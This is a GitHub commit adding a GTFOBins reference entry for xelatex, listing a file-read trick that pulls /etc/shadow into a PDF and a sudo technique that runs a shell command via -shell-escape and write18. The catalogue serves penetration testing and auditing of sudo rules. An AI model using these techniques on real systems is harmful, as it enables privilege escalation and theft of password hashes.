Create xelatex.md

Add xelatex.
This commit is contained in:
SynackCerv 2021-04-22 22:15:02 +02:00 committed by GitHub
parent 4017773b69
commit 1e3f00a04f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

11
_gtfobins/xelatex.md Normal file
View File

@ -0,0 +1,11 @@
description: `xelatex` is a symbolic link to [`xetex`](/gtfobins/xetex/). However the program does not have the same behaviour regarding the name of argv[0].
functions:
file-read:
- code: |
echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
latexmk read.tex
#/etc/shadow is in read.pdf
sudo:
- code: |
echo "\documentclass[12pt]{article} \begin{document} \immediate\write18{/usr/bin/whoami} \end{document}" > file.tex
sudo xelatex -shell-escape file.tex